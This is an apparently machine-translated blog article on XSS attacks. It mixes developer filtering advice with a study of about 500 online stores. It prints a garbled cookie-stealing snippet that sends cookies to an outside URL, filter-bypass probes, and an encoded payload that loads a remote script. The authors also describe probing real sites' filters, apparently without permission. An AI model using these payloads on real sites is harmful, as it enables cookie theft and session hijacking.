📜 ⬆️ ⬇️

xss vulnerability

Threats of xss attacks using javascript


Before you begin, it is worth mentioning that this material is for informational purposes only.
Nowadays, one of the most popular types of attacks is cross-site scripting using javascript. In this article, we will look at what problems the illegal use of javascript causes, the security rules to prevent a possible xss attack, and provide our own research related to checking websites for the presence of organized security of websites.

What is xss attack?


This is a type of attack that injects malicious code into a web system, forcing it to issue changed data, replaces links (visible / hidden) or displays its own advertising on the affected resource.

There are two lines of attack:

Passive - which require the direct intervention of the subject of the attack. The bottom line is to force the victim to click on a malicious link to perform a malicious code. This type of attack is more difficult to implement, because it is necessary to have not only technical but also psychological knowledge.
')
Active is a type of attack when a hacker tries to find a vulnerability in the site filter. How is such an attack implemented? Everything is very simple. It is necessary with the help of a combination of tags and symbols to create such a request so that the site understands it and executes the command. Once a security hole has been found, you can attach a malicious code to our request, which, for example, will steal a cookie and send it to a convenient place. Here is an example of a script that steals cookies from the site:

Img = new image() Img.src = http://site.gif?+document.cookie; 

Usually you have to work hard to find a hole in the security of the site, because most of the filters are quite stable. But they are written by people, and they err.

Safety regulations


From where and why do such vulnerabilities arise at all that lead to disastrous consequences? It's all about the care and knowledge of people. Developers need to write the correct code, so in this section we will talk about the minimum rules for writing site security.

How the attack is applied, we have already told, but we will repeat once again. The whole point of xss attack is to detect a hole in the filter in order to bypass it.

1. One of the very first and basic rules for a developer is the use of any (albeit minimal) filter.

In our study of sites, almost all of them were protected, but still there were those who did not use any filtering of the data received. This is mainly found on websites written in PHP. But, for example, in python pyramids, such as: flask or Django, there are already built-in minimum filters, they can only be strengthened.

2. Filtering characters and nested constructs.

The minimum filter will protect us from amateur attacks and illiterate specialists, but we need to build more serious protection against serious hackers, with more detailed data filtering. Developers should consider and understand the possible implementation of xss attacks and build a filter so that it recognizes nested constructs. For example, a hacker can create a multi-level construction, and in the lowermost of them attach malicious javascript code. The filter will block the upper level, but the lower one will be executed.

3. The filter must take into account all possible combinations of characters.

One of our favorite xss vulnerability checks is the use of open and closed brackets.
For example: “/?,#”>>>><<script{()}

We write a command with the n-th number of brackets. The filter sees this and tries to close them, but the nested code is executed. In this query, we not only check the filter for a different number of brackets, but also look at how the filter will react to different characters, whether it will block them or skip them. We draw your attention to the construction at the end of the example. We pass the script as an argument in brackets. An interesting way to test the filter. In our study, many sites did not filter this type of attack, threatened.

4. Use of tags.

Suppose that you filter both symbols and multi-level constructs. But there is another vulnerability, it is associated with the tags img, bb, url. These tags have many parameters, including dynsrc and lowsrc, which contain javacscript. These tags must be filtered without fail. If you are not going to use pictures on the site, it is better to disable them altogether.

Usage example:

 [img]http://blabla.ru/1.jpg/dynsrc=javascript:alert()[/img] 

Unfortunately, simple tag filtering is not enough, you need to consider the possibility that the attacker will place additional characters inside the tag that must also be filtered out.

For example:

 [img]»»>«script>http://blabla.ru/1.jpg/dynsrc=javascript:alert()[/img] 

5. Encryption.

When building a filter, you must first consider the possibility of encoding attacks. There are a huge number of encoder programs that encrypt an attack so that the filter cannot recognize it. Therefore, it is necessary to use the decryption algorithm in the filter before the program executes the request code.

Here is an example of the encrypted code:

 %68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%66%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74%2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%73%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E 

Encryption is necessary not only to bypass the filter, but also for social engineering, deception of people. You can send the encrypted code as a link. It is unlikely that someone will check it, hence another point.

6. Social engineering

It is not enough to write a filter resistant to attacks, it is necessary to periodically conduct lectures with employees on the rules of using the Internet and talk about possible hackers' tricks.

A couple of basic rules: never open suspicious links and check encrypted ones, especially if you are a web hosting administrator or a network.

Research sites on xss vulnerability using javascript.

How serious are developers to the security of their web applications? Our team decided to check it out. As part of our study, we examined about 500 sites for security errors. Much time was spent collecting, processing and structuring information. All checks were carried out manually, because we did not find the necessary tool, and there was not enough time and knowledge to write our own software. But, already having experience, next time we will deal with this.

The objects of our research were websites of online stores. We chose them, because on such sites there is the possibility of feedback. Through it, using social engineering methods, you can embed a link with the malicious code to the site operator and compromise not only the leakage of personal data, but also a change in the site shell, the illegal introduction of your own advertising through javascript elements and the substitution of real malicious links.

It is worth mentioning that we were engaged only in checking filters, this does not violate the legislation (272-274 of the Criminal Code) of the Russian Federation and does not bear any punishment.

As a result of the study, we received very good statistics. A very small percentage of sites, about 5% do not have a filter, which is a fundamentally incorrectly constructed system. But in practice it turned out that all these sites were developed by students. By default, sites without a filter are considered automatically hacked, because they do not screen forbidden characters and you can upload malicious code via javascript. Other sites have filters, but what about their reliability?

About 11% we were able to get around, having only average knowledge in this area. This is a huge drawback on the part of the developers, which can bring a lot of damage to the project, because the personal data of users is at risk. According to the law (Article 13.11 of the Administrative Code of Part 6) all sites must ensure the safety of personal data when storing material media and exclude unauthorized access to them. If this resulted in unlawful access to personal data (destruction, modification, copying, blocking, etc.) - a fine is imposed in the amount of from 700 rubles to 50,000 rubles.

Most of the sites are well protected from attacks, which can not fail to please us as users. The result of the study is clearly demonstrated in the diagram below.

Conclusion


In this article, we told you about xss vulnerabilities using javascript, we also conducted a real study of the strength and resilience of sites. As a result of security assessment, it was revealed that most of the sites, namely 84% are well protected from this type of attack. But still there is a certain percentage of sites that does not inspire confidence and cannot withstand attacks. This is a flaw that needs to be corrected. Unfortunately, not all site owners are willing to invest in improving the security of the website. But every year, the rigor of the law regarding the disclosure, leakage and damage of personal data is being tightened, thus forcing unscrupulous owners to better monitor the security of their resources. The amount of the penalty for violation of the 6th part of Article 13.11 of the Administrative Code of the Code of Administrative Violations increases, and with it the security of our personal data grows.

Source: https://habr.com/ru/post/345494/


All Articles